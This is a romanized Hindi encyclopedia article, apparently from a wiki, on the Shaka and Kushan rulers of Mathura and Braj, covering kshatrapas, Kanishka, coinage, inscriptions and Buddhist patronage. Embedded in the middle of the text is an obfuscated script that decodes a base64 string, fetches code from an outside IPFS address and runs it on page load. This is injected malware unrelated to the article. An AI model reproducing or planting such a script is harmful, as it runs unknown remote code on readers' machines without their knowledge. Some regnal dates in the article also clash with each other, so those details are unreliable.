ब्रज का शक कुषाण काल

braj vishay soochi

braj    parichay    paribhasha    bhoogol    vistar    namakaran aur abhipray    pauranik itihas    braj ka adim kal    braj ka krishna kal    braj ka maury kal    braj ka shuang kal    braj ka shak kushan kal    braj ka gupt kal    braj ka madhy kal    braj ka uttar madhy kal    braj ka mugal kal    braj ka jat maratha kal    braj ka svatantrata sangram 1857    braj ka svatantrata sangram 1920-1947    sanskriti    jivan shaili    prachin sangit    moorti kala mathura    pramukh parv evan tyohar    mukhy darshaniy sthal    chaurasi kos yatra    brajabhasha    holi    veshabhoosha, bhojan v mithaee

braj ka shak kushan kal
braj ke vibhinn drishy|200px|center
vivaran	bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha.
braj kshetr	aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.
braj ke keandr	mathura evan vrindavan
braj ke van	kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan
bhasha	hiandi aur brajabhasha
pramukh parv evan tyohar	holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela
pramukh darshaniy sthal	krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir
sanbandhit lekh	braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura
any janakari	braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai.

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kushan

kushan bhi shakoan ki hi tarah madhy eshiya se nikale jane par qabul-kandhar ki or yahaan a gaye the. us kal mean yahaan ke hindi yoonaniyoan ki shakti kam ho gee thi, unhean kushanoan ne saralata se parajit kar diya. usake bad unhoanne qabul-kandhar par apana rajyadhikar qayam kiya. unake pratham raja ka nam kujul kadaphaisis tha. usane qabul–kandhar ke yavanoan (hindi yoonaniyoan) ko hara kar bharat ki uttar-pashchimi sima par base hue pahlavoan ko bhi parajit kar diya. kushanoan ka shasan pashchimi panjab tak ho gaya tha. kujul ke pashchath usake putr vim taksham ne kushan rajy ka aur bhi adhik vistar kiya. bharat ki tatkalin rajanitik paristhiti ka labh utha kar ye log age badhe aur unhoanne hiand yoonani shasakoan ki shakti ko kamazor kar shuang samrajy ke pashchimi bhag ko apane adhikar mean kar liya. vijit pradesh ka kendr unhoanne mathura ko banaya, jo us samay uttar bharat ke dharm, kala tatha vyaparik yatayat ka ek pramukh nagar tha.

chitr:Blockquote-open.gif itihas to ek silasile var mukammil chiz hai, aur jab tak tumhe yah maloom n ho ki duniya ke doosare hissoan mean kya hua - tum kisi ek desh ka itihas samajh hi nahian sakate. - javahar lal neharoo (vishv-itihas ki jhalak) chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shakoan ne uttar-pashchimi rajy ki rajadhani takshashila banaee. dhire-dhire takshashila aur mathura par shakoan ki do alag -alag shakhaoan ka adhikar ho gaya. mathura nagar ka mahattv itana badh gaya ki shoorasen janapad ko hi “mathura rajy” kaha jane laga. mathura mean jin shak rajaoan ka adhipaty raha unaki upadhi 'kshatrap' milati hai. takshashila ke shak shasakoan ki bhi yahi upadhi thi. usake bad adhik pratapi shasakoan ko 'maha-kshatrap' ki upadhi dena prarambh kar diya. ye 'kshatrap' svayan ko bharatiy maharajaoan ya samratoan ke samakaksh manane lage. shasan ki or se vibhinn pradeshoan ke shasanarth jo upashasak niyukt hote the unaki sanjna 'kshatrap' prasiddh ho gee thi.

shak

[[chitr:shaka-1.jpg|shak raj purush
Saka King (Mastan)
rajakiy sangrahalay, mathura|thumb|left|250px]] shak sambhavatah uttari chin tatha yoorop ke madhy sthit videsh jhiangajhiyaang pradesh ke nivasi the. kushanoan evan shakoan ka qabila ek hi mana gaya tha. kintu in donoan ke qabile alag alag the. lagabhag ee. poo. 100 mean videshi shasakoan ki shakti badhane lagi. mathura mean inaka kendr bana. yahaan ke raja 'shak kshatrap' ke nam se jane jate haian. mathura ke nagarik shak-kshatrapoan ke samay sabase pahale videshi sampark mean aye par janata par kushan shasan ka prabhav sthaee roop se p da. shak sanvat purana bharatiy sanvat hai jo ee. 78 se shuroo hota hai. bharat mean maury aur satavahan kal mean shasan-varshoan ka hi prayog hota tha. sanvatoan ka prayog tithi-nirdharan ke lie kushan aur shak kal se hone laga hai. shak, malav, gupt, harsh adi sanvatoan ka sanbandh aitihasik ghatanaoan se hai. mahabharat mean bhi shakoan ka ullekh hai.

shakoan ke pahale pratapi raja ka nam 'moas' jnan mean ata hai. isake sikke kafi adhik sankhya mean mile haian. takshashila mean mile ek tamrapatr se is raja ka nam 'mog' sanjnan mean ata hai. isaka samay ee. poorv 100 ke lagabhag hai. 'moas' ne poorvi tatha pashchimi gaandhar pradesh ke yoonani rajy ko samapt kar diya. moas ka uttaradhikari aijej pratham hua. usake bad aijej dvitiy gondofaras adi anek shasak hue. in ke bad shakoan (shak) ke kusulak vansh ka adhikar ho gaya. mathura par jin shasakoan ne rajy kiya unake nam sikkoan tatha abhilekhoan dvara jnat hue hai. shuroo ke 'kshatrap' shasakoan ke nam 'hagan' aur 'hagamash' milate haian. inake sikkoan se aisa jnat hota hai ki donoan ne sammilit roop se shasan kiya. sanbhavat: ye dono bhaee rahe hoange. kuchh sikke keval 'hagamash' ke mile haian. do any shasakoan ke nam se sath bhi kshatrap shabd milata hai. ye shasak haian- 'shivaghosh' tatha 'shivadatt'. inake sikke kam mile hai, par ve mahattvapoorn haian. inake tatha hagan aur hagamash ke sikkoan par ek or lakshmi aur doosari or gho da bana hua hai.

rajubul

sianh shirsh

hagan-hagamash ke pashchath rajubul mathura ka shasak hua. isake sikkoan par kharoshthi lipi mean lekh milate haian - rajubul ke ye sikke b di sankhya mean mile haian aur ye sikke kee bhaanti ke hai. kuchh sikkoan par 'chhatrapas' ke sthan par 'mahachhatrapas' likha hua milata hai. usaki 'apratihatachakr' upadhi se shasak ke svatantr shasan tatha shakti ko soochit karati hai. isake sikke siandhu-ghati se lekar poorv mean ganga yamuna doab tak mile hai, jinase rajubul ki vishal satta ka jnan hota hai. isake samay mean mathura rajy ki simaean bhi badh gee. mora (zila mathura) se brahmi lipi mean likha hua ek mahattvapoorn shilalekh prapt hua hai, jisamean rajubul ke lie 'mahakshatrapas' shabd ka prayog kiya gaya hai. is lekh mean rajubul ke ek putr ka bhi vivaran milata hai, par usaka nam khanh dit ho gaya hai. 1869 ee. mean mathura se patthar ka ek 'sianh-shirsh' mila jo landan ke british sangrahalay mean rakha hua hai. [[chitr:Kambojika-1.jpg|kambojika
Kambojika
rajakiy sangrahalay, mathura|thumb|250px]] us par kharoshthi lipi aur prakrit bhasha mean kee lekh haian. inamean kshatrap shasakoan ke nam milate haian. ek shilalekh mean mahakshatrap rajubul ki patarani kamuia (kanbojika) ke dvara buddh ke avasheshoan par ek stoop tatha ek 'guha vihar' namak math banavane ka ullekh milata hai. sanbhavat: yah math mathura mean yamuna-tat par vartaman saptarshi tila par raha hoga. yahian se oopar ullekhit 'sianh-shirsh' mila tha.

shodas

rajubul ke bad usaka putr shodas (lagabhag ee. poorv 80-57) shasanadhikari hua. is sianh-shirsh ke shilalekh par shodas ki upadhi 'kshatrap' aankit hai, kintu mathura mean hi mile any shilalekhoan mean use 'mahakshapatr' kaha gaya hai. kankali tila (mathura) se prapt ek shilapatt par san0 (?) 72 ka brahmi lekh hai, jisake anusar 'svami mahakshatrap' shodas ke shasanakal mean jain bhikshu ki shishya amohini ne ek jain vihar ki sthapana ki. rajubul ki patni kanbojika ne mathura mean yamuna nadi ke tat par ek bauddh-bihar nirmit karaya tha, jisake lie shodas ne kuchh bhoomi dan mean di thi. mathura ke hinayan mat vale bauddhoan ki 'sarvastivadinh' namak shakha ke bhikshuoan ke nirvah ke lie yah dan diya gaya tha. sianh-shirsh ke in kharoshthi lekhoan se jnat hota hai ki shodas ke kal mean mathura ke bauddhoan mean hinayan tatha mahayan (mahasandhik)-- mukhyatah in donoan shakhaoan ke anuyayi the aur inamean paraspar vad-vivad bhi hote the.

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shodas ke sikke do prakar ke hai, pahale ve hai jin par samane ki taraph kh di huee lakshmi ki moorti tatha doosari taraph lakshmi ka abhishek chitrit haih. in sikkoan par hindi mean 'rajubul putas khatapas shodasas' likha hua hai. doosare prakar ke sikkoan par lekh mean keval 'mahakshatrap shodasas' chitrit hai. isase anuman hota hai ki shodas ke pahale vale sikke us samay ke hogean jab usaka pita jivit raha hoga aur doosare rajubul ki mrityu ke bad, jab shodas ko raja ke poore adhikar mil chuke hogean. shodas tatha rajubul ke sikke hiand -yoonani shasak straito tatha mathura ke mitr-shasakoan ke sikkoan se bahut milate-julate haian. shodas ke abhilekhoan mean sabase mahattvapoorn vo lekh hai jo ek siradal (dhanni) par utkirn hai. yah siradal mathura chhavani ke ek kuean par mili thi, jo katara keshavadev se laee gee pratit hoti hai.

mahakshatrap shodas ka shasan

mahakshatrap shodas ka shasan-kal ee. poorv 80 se ee. poorv 57 ke bich mana jata hai. yah sabase pahala abhilekh hai jisamean mathura mean krishna-mandir ke nirman ka ullekh milata hai. shodas ka samakalin takshashila ka shasak patik tha. mathura ke ukt sianh- shirsh par khude hue ek lekh mean patik ki upadhi 'mahakshatrap' di huee hai. takshashila se prapt san078 mean ek doosare shilalekh mean 'mahadanapati' patik ka nam aya hai. sambhavatah ye dono patik ek hi hai aur jab shodas mathura ka kshatrap tha usi samay patik takshashila mean mahakshatrap tha. mathura-lekh mean patik ke sath mevaki ka nam bhi ata hai. ganeshara gaanv (ji0 mathura) se mile ek lekh mean kshatrap ghatak ka nam bhi hai. shodas ke sath in kshatrapoan ka kya sanbandh tha, yah vivaran kahian nahian milata hai. ee. poorv pahali shati ka poorvarddh pashchimottar bharat ke shakoan ke shasan ka samay tha. is samay mean takshashila se lekar uttari maharashtr tak shakoan ka hi ekachhatr rajy ho gaya tha.

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takshashila ke kusuluk vanshi lishrak aur patik shaktishali raja the. mathura pradesh mean rajubul tatha shodas prabhuta thi. saurashtrh aur maharashtrh mean bhoomak aur nahapan adi shasak the. nahapan ke damad ushavadat (rrishabhadatt) ke samay mean shakoan ka prabhutv poona se uttar mean ajamer tak phaila hua tha. nasik tatha junnar ki gufaoan mean inake bahu-sankhyak lekh mile haian jinase jnat hota hai ki nahapan aur ushavadat ke samay mean anek gufa-mandiro ka nirman kiya gaya aur vibhinn dharmik kary kiye gaye. in shakoan ke samay mean ujjayini pradhan kendr tha. ee. poorv 57 ke lagabhag ujjayini ke uttar mean malavagan apani shakti sangathit karate rahe aur bharat se shakoan ko bhaga kar videshi shasan se chhutakara pane ka prayas karane lage. unhoanne maharashtr ke satavahan shasakoan se is kary mean madad li aur ujjayini ke shakoan ko parajit kar diya. yah parajay shakoan ki shakti par bhari siddh huee aur ve bharat ke rajanitik rangamanch se ojhal ho gaye. isi varsh vikram sanvat ki sthapana huee, jo praranbh mean 'krit' aur 'malava' namoan se tatha bad mean 'vikram' nam se desh ke ek b de bhag mean prachalit hua.

kushan vansh

kushan vansh (lagabhag 1 ee. se 225 tak) ee. sanh ke aranbh se shakoan ki kushan namak ek shakha ka prarambh hua. vidvanoan ne inhean yuishi, turooshk (tukhar) nam diya hai. yuishi jati prarambh mean madhy eshiya mean thi. vahaan se nikale jane par ye log kamboj-vahlik mean akar bas gaye aur vahaan ki sabhyata se prabhavit rahe. hindookush ko par kar ve chitaral desh ke pashchim se uttari svat aur hazara ke raste age badhate rahe. tukhar pradesh ki unaki paanch riyasatoan par unaka adhikar ho gaya. ee. poorv pratham shati mean kushanoan ne yahaan ki sabhyata ko apanaya.

kujul kadaphaisis

kushanoan ke ek saradar ka nam kujul kadaphaisis tha. usane qabul aur kandahar par adhikar kar liya. poorv mean yoonani shasakoan ki shakti kamazor ho gee thi, kujul ne is ka labh utha kar apana prabhav yahaan badhana shuroo kar diya. pahlavoan ko parajit kar usane apane shasan ka vistar panjab ke pashchim tak sthapit kar liya. mathura mean is shasak ke taanbe ke kuchh sikke prapt hue hai.

vim taksham

vim taksham lagabhag 60 ee. se 105 ee. ke samay mean shasak hua hoga. vim b da shaktishali shasak tha. apane pita kujul ke dvara vijit rajy ke atirikt vim ne poorvi uttar pradesh tak apane rajy ki sima sthapit kar li. vim ne rajy ki poorvi sima banaras tak badha li. is vistrit rajy ka pramukh kendr mathura nagar bana. vim ke banaye sikke banaras se lekar panjab tak bahut b di matra mean mile hai. [[chitr:Vima Taktu-3.jpg|vim taksham
Vima Taktu
rajakiy sangrahalay, mathura|thumb|left|250px]] prapt sikkoan par ek taraph raja ki moorti aankit hai tatha sikke ke doosari taraph ek nandi bail ke sath kh de hue shiv aankit haian sianhali or kharoshthi lipi mean lekh bhi milate haian. sikkoan par nandi ke sath shiv ki moorti ke bane hone aur 'mahivaras' (maheshvarasy) upadhi hone se jnat hota hai ki yah raja shiv ka bhakt tha. mathura zile mean maant gaanv ke pas hi itokari namak tile se 'vim ki vishalakay moorti' bhi prapt huee hai. is moorti ka sir khandit hai. sianhasan par baithe hue raja ne lamba choga tatha salavar ki tarah ka payajama pahana hua hai. usake hath mean talavar thi, jisaki keval mooanth hi bachi hai, baqi talavar khan dit hai. pairo mean phite se kase hue joote pahine hue hai. un ke niche brahmi lipi mean lekh khuda hua hai, yahaan par raja ka nam tatha usaki upadhiyoan ke vishay mean is prakar ka vivaran hai-'maharaj rajadhiraj devaputr kushanaputr shahi vim taksham is shilalekh se pata chalata hai ki vim ne apane shasan ke samay mean ek mandir udyan, pushkarini tatha koop ko bhi nirmit kiya gaya.

mathura mean kushan

mathura mean kushanoan ke devakul hone tatha vim ki moorti prapt hone se yah anuman kiya ja sakata hai ki mathura mean vim ka nivas kuchh samay tak avashy raha hoga aur yah nagar kushan samrajy ke mukhy kendroan mean se ek raha hoga. vim ne rajy ki poorvi sima banaras tak badha li. is vistrit rajy ka pramukh kendr mathura nagar bana. chini ki pauranik manyata ke anusar vim ke uttari samrajy ki pramukh rajadhani hiandukush‎ ke uttar tukhar desh mean thi. bharatiy rajyoan ka shasan 'kshatrapoan' se karaya jata tha. vim ka vishal samrajy ek taraph chin ke samrajy ko lagabhag chhoota tha to doosari taraph usaki simaean dakshin ke satavahan rajy ko chhooti huee thi. itane vishal evan vistrit rajy ke lie pradeshik shasakoan ka hona bhi avashyak tha.

vyapar aur sikke

vim ke shasan-kal mean videshoan se bhi vyaparik sanbandh rahe. isake shasan mean rom samrajy ke sath bharat ka vyapar bahut badha. rajy vasi, kap de, bahumooly ratn, masale, lak di ki vastuean tatha rang rom rajy ko bhejate the aur rom ke shasak, badale mean svarn sikke b di sankhya mean yahaan bhejate the. uttar tatha dakshin bharat ke vibhinn sthanoan se roman shasakoan ke sikkoan b di matra mean prapt hue haian, jinase is kathan ka praman milata hai. vim ke taanbe ke sikke bhi b di sankhya mean mile the. videshoan se vyapar ko badhane ke lie vim ne apane sone ke bhi sikke bhi banava kar chalavaye. ye sikke nap tol mean roman sikkoan ke barabar hi the. in sone ke sikkoan par bhi ek taraph shiv ki hi moorti aankit hai, in sab pramanoan se vim ka shaiv hona siddh ho jata hai

kanishk (115-147 ee. lagabhag)

kanishk (115-147 ee. lagabhag)- kanishk vim ke pashchath sianhasan par asin hua. kanishk, vim ke parivar se sambadhd n hokar kushanoan ke kisi doosare gharane ka sadasy tha ya nahian isake sanbandh mean vidvanoan ka mat bhinn hai. rabatak lekh ke anusar vah vim ka uttaradhikari aur sarvadhik prasiddh kushan raja tha. usaka rajy madhy eshiya se lekar bharat ke poorvi bhag tak tha. is prakar vah ek vishal samrajy ka shaktishali samrat thah. kanishk ne apane rajyarohan ke samay se ek naya sanvat prarambh kiya, jo shak sanvat ke nam se jana jata hai. kanishk kushan vansh ka sabase vir, pratapi, prasiddh shasak hua. afaganistan aur kashmir se lekar poorv mean banaras tak usake adhikar mean tha. chin ke antargat turkistan (turki) par bhi kanishk ne akraman kiya, jahaan usaki jit huee. is jit ke bad kanishk ka rajy uttar mean kashagar, yarakand tatha khotan tak sthapit ho gaya tha. khotani sahity tatha chini sahity mean kanishk ki anek vijay yatraoan ka ullekh milata hai. [[chitr:kanishk.jpg|kanishk
Kanishka
rajakiy sangrahalay, mathura|thumb|250px]]

kanishk ka rajy

bauddh sahity ke anusar kanishk ke adhikar mean pataliputr tak ka pradesh tha. dharmapitak-nidan sootr ke chini anuvad se pata chalata hai ki kanishk ne pataliputr ko bhi jit kar apane samrajy mean mila liya tha. vahaan se usane bhagavanh buddh ke kamandal ko prapt kiya tha. bauddh bhikshu ashvaghosh aur buddh ka kamandal vah udhar se vah apane sath lekar aya tha. kanishk ne videshi hote hue bhi bharatiy dharm aur sanskriti ke prati apani astha prakat ki aur bauddh dharm ki diksha li , kintu vah any bharatiy dharmoan ke prati bhi bahut udar tha aur any sabhi dharmoan ka adar karata tha. usake samay mean banaye ge sikkoan par buddh ke sath sath hindoo devataoan ki moortiyaan tatha unake nam aankit haian. vah kalaoan ka sanrakshak aur viddhanoan ka ashrayadata tha.

kanishk ka darabar

usake darabar mean vasumitr, ashvaghosh, nagarjun, parshv, charak, sangharaksh, aur mathar jaise vikhyat viddhanoan ke atirikt anek kavi aur kalakar bhi the. usane bauddh dharm ka vyapak prachar kiya. samrajy ke pramukh sthanoan mean bauddh stoop, sangharam evan moortiyoan ka nirman karaya tha. usane apane shasan kal mean kashmir mean bauddh dharm parishadh ka vishal ayojan kiya tha, jisamean lagabhag 500 bauddh bhikshu sammilit hue the. usaka sabhapati achary vasumitr tatha up sabhapati vikhyat kavi aur viddhan ashvaghosh tha. us parishadh mean bauddh dharm granthoan par vichar-vimarsh hua. tatpashchath pramukh bauddh granthoan ko tamrapatroan par khudavaya gaya tatha unhean ek stoop mean surakshit rakh diya gaya. usake shasan-kal mean bauddh dharm ke mahayan sanpraday ki vishesh unnati huee thi. mahayan ke prasiddh viddhan vasumitr aur ashvaghosh ka kanishk par bahut prabhav tha.

kanishk ka nirmanakary

peshavar aur takshashila ki tarah kanishk ne mathura mean bhi anek bauddh stoopoan aur mathoan ka nirman karavaya. usake samay mean dharmik sahishnuta bahut thi, jisake karan bauddh dharm ke sath-sath jain tatha hindoo dharm ki bhi unnati huee. jainiyoan ke anek stoopoan, tirthankaroan ki pratimaoan aur any vividh kala-kritiyoan ki rachana huee. in sab ke sath sath is kal mean vishnu, shiv, soory, durga, kartikey adi hindoo devi evan devataoan ki bhi pratimaean nirmit huee. itane vishal samrajy ko sthapit karane ke pashchath kanishk ne usaki shasan vyavastha ki or apana dhyan kendrit kiya. uttar mean peshavar (purushapur) ko isane apane rajy ka mukhy kendr banaya (sambhavatah kanishk ki rajadhani bhi purushapur hi thi) aur madhy mean mathura tatha poorv mean saranath rajy ke mukhy kendr banaye gaye. kanishk ke samay ke ek lekh se pata chalata hai ( jo saranath mean prapt hua tha ) ki kanishk ki or se poorvi bhag ke pratinidhi shasak 'mahakshatrap kharapallan' tatha 'kshatrap vanappar' the. is prakar kanishk ki or se vibhinn bhagoan ke shasan ke lie vibhinn adhikari niyukt rahe hogean.

kanishk ka shasanakal

kanishk ke shasan kal mean mathura nagar mean charoan or unnati huee. mathura nagar rajy ka rajanitik kendr hone ke sath-sath dharm, kala, sahity evan vyapar ka bhi mukhy kendr bana hua tha. kanishk bauddh dharm ka anuyayi tha. usake samrajy ke pramukh sthanoan ke sath sath mathura mean bhi bauddh dharm ki b di unnati huee tatha vibhinn bauddh stoopoan tatha sangharamoan ka nirman hua. manushy ke roop mean buddh ki pratima ki rachana mathura mean isi kal se prarambh huee. mahayan dharm ke vistar ke phalasvaroop pooja ke nimitt vibhinn prakar ke dharmik karm kriyaoan evan pratimaoan ka nirman bahut b di matra mean hona prarambh ho gaya. mathura aur usake asapas ke kshetr se kanishk ke kal ki bauddh pratimaean bhari sankhya mean prapt ho chuki haian. mahayan shakha ke achary vasumitr aur 'buddhacharit' evan 'sauandaranand' granthoan ke prasiddh rachayita ashvaghosh kanishk ki sabha ke rajaratn the. inake alava charak, nagarjun, sangharaksh,parshv, mathar adi any kitane hi mahanh vidvan, kavi aur kalakar kanishk ki rajasabha mean rahate the. kushan ke samay mean mathura ka mahattv badha. vividh dharmoan ka vikas hone ke sath yahaan sthapaty aur moortikala ki abhootapoorv pragati huee. mathura mean nirmit moortiyoan ki maang poore desh mean hone lagi. shravasti, saranath, saanchi, kaushambi, rajagrih adi sudoor sthanoan tak se mathura ki bani moortiyaan mangavaee jati thi.

mathura ki vyavasayik unnati

uttar bharat ke pramukh rajamarg par sthit hone ke karan mathura nagar ki vyavasayik unnati huee.. us samay ke shilalekhoan tatha sahityik varnanoan se jnat hota hai ki shilpiyoan aur vyapariyoan ne apane nikay banaye, jo bahut samriddh hone ke sath-sath atyadhik shaktishali bhi the. ye nikay baiankoan ki dekharekh karate the aur unaka upayog janata ke lie upalabdh tha. is kal ka ek lekh nasik se prapt hua hai jisamean julahoan se do nikayoan ka vivaran hai, jinamean kramash: 1 pratishat 3/4pratishat masik vyaj ki dar par 2,000 aur 1,000 chaandi ke sikke jama kiye gaye, is prakar ka vivaran udadhrit hai nasik, junnar adi se prapt shilalekhoan mean kumharoan, ann ka vyavasay karane valoan, baans ka kam karane valoan, teliyoan, panachakki chalane valoan adi ke nikayoan ka vivaran milata hai. sarvajanik hit ke karyo mean ye nikay dan bhi dete the. dharmik evan any prayojanoan ke lie in nikayoan mean apana rupaya jama karana nagarik suvidhajanak samajhate thi.

kushan samrajy

kanishk ke samay ke kushan samrajy bahut vistrit tha. usake shasan mean rom, madhy eshiya tatha chin ke sath rajy ke vyaparik sanbandhoan mean bahut vriddhi huee. bharat se pashu-pakshi, vanaspati-padarth, vastr, phal, ann tatha bahumooly ratn ka niryat kiya jata tha aur badale mean sona, chaandi, das-dasiyoan, gho de, chamakile rang, phal-phooloan se nirmit vastuean aur dhatuoan ka ayat kiya jata tha. kanishk ke samay mean chin ka resham bahutayat mean bharat ane laga tha. raja aur nagar ke pratithit vyakti chini reshami vastr dharan karana bahut pasand karate the mathura, kaushaanbi, amaravati adi sthanoan se prapt bahut si moortiyoan par reshami vastr dikhaee p date haian. bhagavan buddh ke chivar pray: reshami vastr ke dikhaye gaye hai. kalakaroan ne sauandary ke aniandy sadhan ke roop mean nari ki aankit karane ke uddeshy se sannataangi sundariyoan ko jhine chinadeshiy dukooloan se in mahin vastroan se striyoan ka sukumar yauvan tatha sauandary dikhaee p data tha. mathura ke vyapari bharat ke anek nagaroan mean vyapar ke lie jate the. tatkalinabharat ke any pramukh nagaroan ke sath bhi mathura ke vyaparik evan saanskritik sanbandh rahe hoange.

vasishk (102 -106 ee.)

kanishk ke pashchath vasishk (102 -106 ee.) kushan samrajy ke sianhasan par baitha. vasishk ke kal mean bane hue do lekh mile haian jo kramashahchaubis tatha atthaeesavean shak savant ke hai, jinase anuman hota hai ki ee. 102 ee. se 106 ee. tak vasishk ne rajy kiya. pratham lekh mathura nagar mean yamuna par eesapur namak gaanv mean mila hai, is shilalekh mean mathura ke brahmanoan dvara 'dvadasharatr' nam ka vaidik yajn karane ka vivaran hai. doosare lekh mean kanishk ke pita bajheshk ka nam aya hai shayad yah vasishk ka hi nam hai, yah sambhavatah kanishk dvitiy ka pita raha hoga. kalhan ki 'rajatarangini' mean bhi raja jushk ka nam hai, jisane sambhavatah 'jushkapur' namak nagar basaya hoga tatha jo sanbhavat: raja vasishk ke lie hi likha gaya hai.

huvishk(san.163.-san.195)

huvishk (san. 163. san. 195) kanishk ka pautr tha. vasishk ke bad kushan samrajy ka shasak huvishk hua. isake rajy-kal mean lekh 28vean varsh se lekar 60 varsh tak ke mile hai, jinase pata chalata hai ki huvishk ne 106 ee. se lekar 138 ee. tak shasan kiya isake sikkoan tatha lekhoan ke prapti-sthanoan se pata chalata hai ki qabul se lekar mathura ke kuchh poorv tak huvishk ka adhikar phaila hua tha.

huvishk aur bauddhadharm

huvishk bauddh dharm ka premi tha. kanishk ki saman yah raja bhi bauddh dharm ka sanrakshak tha. mathura mean isake dvara ek vishal bauddh vihar ki sthapana ki gee, jisaka nam 'huvishk vihar' tha. [[chitr:Buddha-3.jpg|buddh pratima
Buddha Image
rajakiy sangrahalay, mathura|thumb|200px|left]] isake atirikt any kee stoop aur vihar isake rajy-kal mean mathura mean banaye gaye. bauddh moortiyoan ka nirman bahut b di sankhya mean hua. mathura se prapt ek lekh se pata chalata hai ki huvishk ke pitamah ke samay mean nirmit devakul ki dasha kharab hone par usaki marammat huvishk ke shasan-kal mean ki gee. kushan kal mean 'tripitakachary bal' mathuramandal mean bauddh dharm ke prasiddh achary hue the. huvishk ne sone aur taanbe ke sikke b di sankhya mean banavaye. in sikkoan par ek taraph raja ki moorti tatha doosari taraph raja kanishk ke sikkoan ki tarah hiandu,sumeri, eerani, yoonani,adi devataoan ki moortiyoan ka aankan milata hai. huvishk ke sikke apekshakrit adhik sankhya v bhaanti- bhaanti ke mile hai. kanishk ke sikke simit haian. parantu in donoan rajaoan ke sikkoan par raja ki upadhi, unaka nam aur devataoan ke nam yoonani lipi mean aankit mile hai.

kalhan-krit rajatanragini

kalhan-krit rajatarangini mean vivaran milata hai ki kanishk dvitiy huvishk ka samakalin tha. vidvanoan ke anusar vah kanishk pratham ka pautr tatha vasishk ka putr tha. usaki upadhiyaan maharaj, rajatiraj, devaputr kesar (?)milati hai. sanbhavat: huvishk ke samay mean kanishk dvitiy kashmir aur usake as-pas ke pradesh ka shasak tha. rajatarangini ke anusar kashmir mean kanishkapur namak nagar ki sthapana karane vala sambhavatah yahi raja tha. kanishk dvitiy ke sikke bhi prapt hue hai, jin par ek or vedi ke pas kh de hue raja ki aur doosari or nandi sahit bail ki moorti aankit hai. yoonani lekh ke sath in sikkoan par brahmi lipi ke akshar bhi aankit milate haian. huvishk ke bad mathura par vasudev ka shasan raha. pray: mathura aur usake nikat se isake samay ke lekh prapt hue hai, jisase jnat hota hai ki vasudev ke shasan ke samay mean kushan vansh ka adhikar kam ho gaya tha.

---

vasudev ke sikkoan par nandi bail sahit shiv ki moorti milati hai. is ka jhukav shaiv dharm ki or pata chalata hai. apane poorvavarti shasak vim tatha kanishk dvitiy ki bhaanti vasudev bhi bauddh dharm ka nahian varanh shaiv mat ka anuyayi jnat hota hai. vasudev ko sahity se bhi ruchi thi. vidvanh rajashekhar ne apane grannth 'kavyamimaansa' mean vasudev namak raja ka ullekh kiya hai aur likha hai ki satavahan, shoodrak, sahasaank adi rajaoan ki tarah vah kaviyoan ka ashrayadata tatha sabhapati ka varnan kiya hai. vasudev ke shasan-kal mean hindoo devi-devataoan ki pratimaoan ka nirman b di sankhya mean hua.

paravartian shasak

vasudev ke shasan-kal ka aantim lekh 38vean varsh ka mila hai jisase jnat hota hai ki 176 ee. ke lagabhag isaka dehaant ho gaya hoga. vasudev, aantim prasiddh kushan- shasak tha. vasudev ke bad kanishk (tritiy) tatha vasu (vasudev dvitiy) adi kee kushan rajaoan ke sikkoan tatha lekh mile hai. sanbhavat: chauthi shati mean bhi kashmir aur gaandhar mean kanishk-vanshi kushan shasak ka rajy raha. paravarti kushanoan ko hoonoan se tatha unake pashchath musalamanoan se l dana p da. sanbhavat: navian shati mean hindoo rajaoan dvara uttar pashchicham mean kushan ke shasan ki itishri kar di gee.

left|30px|link=braj ka shuang kal|pichhe jaean

braj ka shuang kal

braj ka shak kushan kal

braj ka gupt kal

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vithika kushan kalin moorti kala

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